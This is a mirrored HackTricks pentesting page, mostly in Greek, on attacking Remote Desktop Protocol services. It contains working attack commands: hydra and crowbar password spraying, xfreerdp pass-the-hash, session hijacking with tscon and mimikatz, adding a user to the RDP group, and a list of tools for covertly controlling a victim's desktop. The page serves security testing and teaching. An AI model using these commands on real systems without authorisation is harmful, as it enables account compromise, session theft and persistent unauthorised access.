mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
131 lines
8.6 KiB
Markdown
131 lines
8.6 KiB
Markdown
# 3389 - Pentesting RDP
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
|
||
## Basic Information
|
||
|
||
Αναπτυγμένο από τη Microsoft, το **Remote Desktop Protocol** (**RDP**) έχει σχεδιαστεί για να επιτρέπει μια γραφική διεπαφή σύνδεσης μεταξύ υπολογιστών μέσω ενός δικτύου. Για να καθιερωθεί μια τέτοια σύνδεση, το λογισμικό πελάτη **RDP** χρησιμοποιείται από τον χρήστη, και ταυτόχρονα, ο απομακρυσμένος υπολογιστής απαιτεί να λειτουργεί το λογισμικό διακομιστή **RDP**. Αυτή η ρύθμιση επιτρέπει τον απρόσκοπτο έλεγχο και την πρόσβαση στο περιβάλλον επιφάνειας εργασίας ενός απομακρυσμένου υπολογιστή, φέρνοντας ουσιαστικά τη διεπαφή του στη συσκευή του χρήστη.
|
||
|
||
**Default port:** 3389
|
||
```
|
||
PORT STATE SERVICE
|
||
3389/tcp open ms-wbt-server
|
||
```
|
||
## Απαρίθμηση
|
||
|
||
### Αυτόματη
|
||
```bash
|
||
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
||
```
|
||
Ελέγχει την διαθέσιμη κρυπτογράφηση και την ευπάθεια DoS (χωρίς να προκαλεί DoS στην υπηρεσία) και αποκτά πληροφορίες NTLM Windows (εκδόσεις).
|
||
|
||
### [Brute force](../generic-hacking/brute-force.md#rdp)
|
||
|
||
**Προσοχή, μπορεί να κλειδώσετε λογαριασμούς**
|
||
|
||
### **Password Spraying**
|
||
|
||
**Προσοχή, μπορεί να κλειδώσετε λογαριασμούς**
|
||
```bash
|
||
# https://github.com/galkan/crowbar
|
||
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||
# hydra
|
||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||
```
|
||
### Συνδεθείτε με γνωστά διαπιστευτήρια/hash
|
||
```bash
|
||
rdesktop -u <username> <IP>
|
||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||
```
|
||
### Έλεγχος γνωστών διαπιστευτηρίων σε υπηρεσίες RDP
|
||
|
||
rdp_check.py από το impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP:
|
||
```bash
|
||
rdp_check <domain>/<name>:<password>@<IP>
|
||
```
|
||
## **Επιθέσεις**
|
||
|
||
### Κλοπή συνεδρίας
|
||
|
||
Με **δικαιώματα SYSTEM** μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου.
|
||
|
||
**Λάβετε ανοιχτές συνεδρίες:**
|
||
```
|
||
query user
|
||
```
|
||
**Πρόσβαση στην επιλεγμένη συνεδρία**
|
||
```bash
|
||
tscon <ID> /dest:<SESSIONNAME>
|
||
```
|
||
Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε την δυνατότητα να προσποιηθείτε έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows.
|
||
|
||
**Σημαντικό**: Όταν αποκτήσετε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε.
|
||
|
||
Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...)
|
||
|
||
#### **Mimikatz**
|
||
|
||
Μπορείτε επίσης να χρησιμοποιήσετε το mimikatz για να το κάνετε αυτό:
|
||
```bash
|
||
ts::sessions #Get sessions
|
||
ts::remote /id:2 #Connect to the session
|
||
```
|
||
### Sticky-keys & Utilman
|
||
|
||
Συνδυάζοντας αυτή την τεχνική με **stickykeys** ή **utilman θα μπορέσετε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποιαδήποτε στιγμή**
|
||
|
||
Μπορείτε να αναζητήσετε RDPs που έχουν παραβιαστεί με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||
|
||
### RDP Process Injection
|
||
|
||
Αν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε Admin**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του και να ενεργήσετε ως αυτός:
|
||
|
||
{{#ref}}
|
||
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
|
||
{{#endref}}
|
||
|
||
### Adding User to RDP group
|
||
```bash
|
||
net localgroup "Remote Desktop Users" UserLoginName /add
|
||
```
|
||
## Αυτόματες Εργαλεία
|
||
|
||
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||
|
||
**AutoRDPwn** είναι ένα πλαίσιο post-exploitation που έχει δημιουργηθεί σε Powershell, σχεδιασμένο κυρίως για να αυτοματοποιεί την επίθεση **Shadow** σε υπολογιστές Microsoft Windows. Αυτή η ευπάθεια (που αναφέρεται ως χαρακτηριστικό από τη Microsoft) επιτρέπει σε έναν απομακρυσμένο επιτιθέμενο να **βλέπει την επιφάνεια εργασίας του θύματος χωρίς τη συγκατάθεσή του**, και ακόμη και να την ελέγχει κατόπιν αιτήματος, χρησιμοποιώντας εργαλεία που είναι εγγενή στο ίδιο το λειτουργικό σύστημα.
|
||
|
||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||
- Έλεγχος ποντικιού και πληκτρολογίου με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
|
||
- Έλεγχος του clipboard με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
|
||
- Δημιουργία SOCKS proxy από τον πελάτη που κατευθύνει την δικτυακή επικοινωνία προς τον στόχο μέσω RDP
|
||
- Εκτέλεση αυθαίρετων εντολών SHELL και PowerShell στον στόχο χωρίς να ανεβάσετε αρχεία
|
||
- Ανεβάστε και κατεβάστε αρχεία προς/από τον στόχο ακόμη και όταν οι μεταφορές αρχείων είναι απενεργοποιημένες στον στόχο
|
||
|
||
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
|
||
|
||
Αυτό το εργαλείο επιτρέπει την εκτέλεση εντολών στο RDP του θύματος **χωρίς να χρειάζεται γραφικό περιβάλλον**.
|
||
|
||
## HackTricks Αυτόματες Εντολές
|
||
```
|
||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||
Port_Number: 3389 #Comma separated if there is more than one.
|
||
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for RDP
|
||
Note: |
|
||
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
|
||
|
||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
|
||
|
||
Entry_2:
|
||
Name: Nmap
|
||
Description: Nmap with RDP Scripts
|
||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||
```
|
||
{{#include ../banners/hacktricks-training.md}}
|